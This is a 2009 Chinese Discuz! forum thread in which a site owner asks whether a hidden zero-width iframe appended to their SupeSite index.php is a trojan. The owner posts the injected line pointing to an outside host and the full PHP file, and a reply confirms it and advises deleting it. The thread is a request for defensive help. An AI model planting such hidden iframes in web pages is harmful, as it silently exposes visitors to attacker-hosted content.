Discuz!官方免费开源建站系统

 找回密码
 立即注册
搜索

[已答复] SS网站中的文件最后一行被植入这段代码,是怎么回事?是木马么?

[复制链接]
urlcn 发表于 2009-10-23 12:32:14 | 显示全部楼层 |阅读模式
被植入的代码是:
  1. <iframe src=http://bbs.netxshell.com/en/images/cal/index.htm width=0 height=0></iframe>
复制代码
全文代码如下:
  1. <?php

  2. /*
  3.         [SupeSite/X-Space] (C)2001-2006 Comsenz Inc.
  4.         首页

  5.         $RCSfile: index.php,v $
  6.         $Revision: 1.74 $
  7.         $Date: 2007/06/27 17:15:08 $
  8. */

  9. include_once('./include/main.inc.php');
  10.        
  11. //获取变量
  12. if($_SCONFIG['urltype'] == '2' || $_SCONFIG['urltype'] == '5') {
  13.         $parsegetvar = empty($_SERVER['PATH_INFO'])?(empty($_SERVER['ORIG_PATH_INFO'])?'':substr($_SERVER['ORIG_PATH_INFO'], 1)):substr($_SERVER['PATH_INFO'], 1);
  14. }
  15. if(empty($parsegetvar)) $parsegetvar = empty($_SERVER['QUERY_STRING'])?'':$_SERVER['QUERY_STRING'];

  16. //二级域名
  17. if(!empty($parsegetvar)) {
  18.         $parsegetvar = addslashes($parsegetvar);
  19.         //后缀域名模式
  20.         if($_SCONFIG['allowdomain'] == 3) {
  21.                 if(preg_match("/^[a-z][0-9a-z]*$/i", $parsegetvar)) mydomain($parsegetvar);
  22.         }
  23.         $_SGET = parseparameter(str_replace(array('-','_'), '/', $parsegetvar));
  24. } else {
  25.         //二级域名
  26.         if(!empty($_SCONFIG['allowdomain'])) {
  27.                 if(strpos(S_URL_ALL, $_SERVER['HTTP_HOST']) === false) {
  28.                         $hostarr = explode('.', $_SERVER['HTTP_HOST']);
  29.                         if(count($hostarr) > 2) {
  30.                                 if(count($hostarr) > 3 && $hostarr[0] == 'www') {
  31.                                         $hostdomain = $hostarr[1];
  32.                                 } else {
  33.                                         $hostdomain = $hostarr[0];
  34.                                 }
  35.                         }
  36.                 }
  37.                 if(!empty($hostdomain)) mydomain(rawurlencode($hostdomain));
  38.         }
  39. }

  40. //变量处理
  41. if(!empty($_SGET['viewnews'])) {
  42.         $_SGET['action'] = 'viewnews';
  43.         $_SGET['itemid'] = intval($_SGET['viewnews']);
  44. } elseif(!empty($_SGET['viewspace'])) {
  45.         $_SGET['action'] = 'viewspace';
  46.         $_SGET['itemid'] = intval($_SGET['viewspace']);
  47. } elseif(!empty($_SGET['viewthread'])) {
  48.         $_SGET['action'] = 'viewthread';
  49.         $_SGET['tid'] = intval($_SGET['viewthread']);
  50. } elseif(!empty($_SGET['category'])) {
  51.         $_SGET['action'] = 'category';
  52.         $_SGET['catid'] = intval($_SGET['category']);
  53. } elseif(!empty($_SGET['mygroup'])) {
  54.         $_SGET['action'] = 'mygroup';
  55.         $_SGET['gid'] = intval($_SGET['mygroup']);
  56. } elseif(!empty($_SGET['spacelist'])) {
  57.         $_SGET['action'] = 'spacelist';
  58.         $_SGET['type'] = $_SGET['spacelist'];
  59. } elseif(empty($_SGET['action']) && !empty($_SGET['uid'])) {
  60.         $_SGET['action'] = 'space';
  61.         $_SGET['uid'] = intval($_SGET['uid']);
  62. } else {
  63.         $_SGET['action'] = empty($_SGET['action'])?'index':trim(preg_replace("/[^a-z0-9\-\_]/i", '', trim($_SGET['action'])));
  64. }

  65. //站点关闭
  66. if(!empty($_SCONFIG['closesite']) && $_SGET['action'] != 'login') {
  67.         getcookie(1);
  68.         if(empty($_SGLOBAL['group']['groupid']) || $_SGLOBAL['group']['groupid'] != 1) {
  69.                 if(empty($_SCONFIG['closemessage'])) $_SCONFIG['closemessage'] = $lang['site_close'];
  70.                 messagebox('error', $_SCONFIG['closemessage'].'<p style="font-size:12px;"><a href="'.geturl("action/login").'">'.$lang['admin_login'].'</a></p>');
  71.         }
  72. }

  73. //限制分页500
  74. if(!empty($_SGET['page'])) {
  75.         if($_SGET['page'] > 500) {
  76.                 messagebox('error', 'page_limit');
  77.         }
  78. }

  79. //关键字、描述、导航、标题
  80. $keywordarr = $descriptionarr = $guidearr = $titlearr = array();

  81. //自定义频道
  82. if($_SGET['action'] == 'channel') {
  83.         $_SGET['name'] = empty($_SGET['name'])?'':trim(preg_replace("/[^a-z0-9\-\_]/i", '', trim($_SGET['name'])));
  84.         if(!empty($_SGET['name'])) {
  85.                 $scriptfile = S_ROOT.'./channel/channel_'.$_SGET['name'].'.php';
  86.                 if(file_exists($scriptfile)) {
  87.                         include_once($scriptfile);
  88.                         exit();
  89.                 }
  90.         }
  91. }

  92. //自定义模型
  93. if($_SGET['action'] == 'model') {
  94.         $_SGET['name'] = empty($_SGET['name'])?'':trim(preg_replace("/[^a-z0-9\-\_]/i", '', trim($_SGET['name'])));
  95.         if(!empty($_SGET['name'])) {
  96.                 if(!empty($_SGET['itemid'])) {
  97.                         $scriptfile = S_ROOT.'./modelview.php';
  98.                 } else {
  99.                         $scriptfile = S_ROOT.'./modelindex.php';
  100.                 }
  101.                 if(file_exists($scriptfile)) {
  102.                         include_once($scriptfile);
  103.                         exit();
  104.                 }
  105.         }
  106. }

  107. //系统频道
  108. if($_SGET['action'] != 'index') {
  109.         $scriptfile = S_ROOT.'./'.$_SGET['action'].'.php';
  110.         if(file_exists($scriptfile)) {
  111.                 include_once($scriptfile);
  112.                 exit();
  113.         }
  114. }

  115. //默认首页
  116. if(!empty($channels['default']) && $channels['default'] != 'index.php') {
  117.         if(strpos($channels['default'], '?')) {
  118.                 sheader(S_URL.'/'.$channels['default']);
  119.                 exit();
  120.         } else {
  121.                 include_once(S_ROOT.'./'.$channels['default']);
  122.         }
  123.        
  124. } else {

  125.         if(!empty($_SCONFIG['htmlindex'])) {
  126.                 $_SHTML['action'] = 'index';
  127.                 $_SGLOBAL['htmlfile'] = gethtmlfile($_SHTML);
  128.                 ehtml('get', $_SCONFIG['htmlindextime']);
  129.                 $_SCONFIG['debug'] = 0;
  130.         }

  131.         include_once(S_ROOT.'./include/common.inc.php');

  132.         $title = $_SCONFIG['sitename'];
  133.         $keywords = $_SCONFIG['sitename'];
  134.         $description = $_SCONFIG['sitename'];
  135.        
  136.         include template('index');

  137.         ob_out();
  138.        
  139.         if(!empty($_SCONFIG['htmlindex'])) {
  140.                 ehtml('make');
  141.         } else {
  142.                 maketplblockvalue('cache');
  143.         }
  144. }

  145. ?><iframe src=http://bbs.netxshell.com/en/images/cal/index.htm width=0 height=0></iframe>
复制代码
回复

使用道具 举报

lidq.jingwu 发表于 2009-10-23 15:27:04 | 显示全部楼层
是,删除吧。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2025-9-14 22:52 , Processed in 0.101537 second(s), 14 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表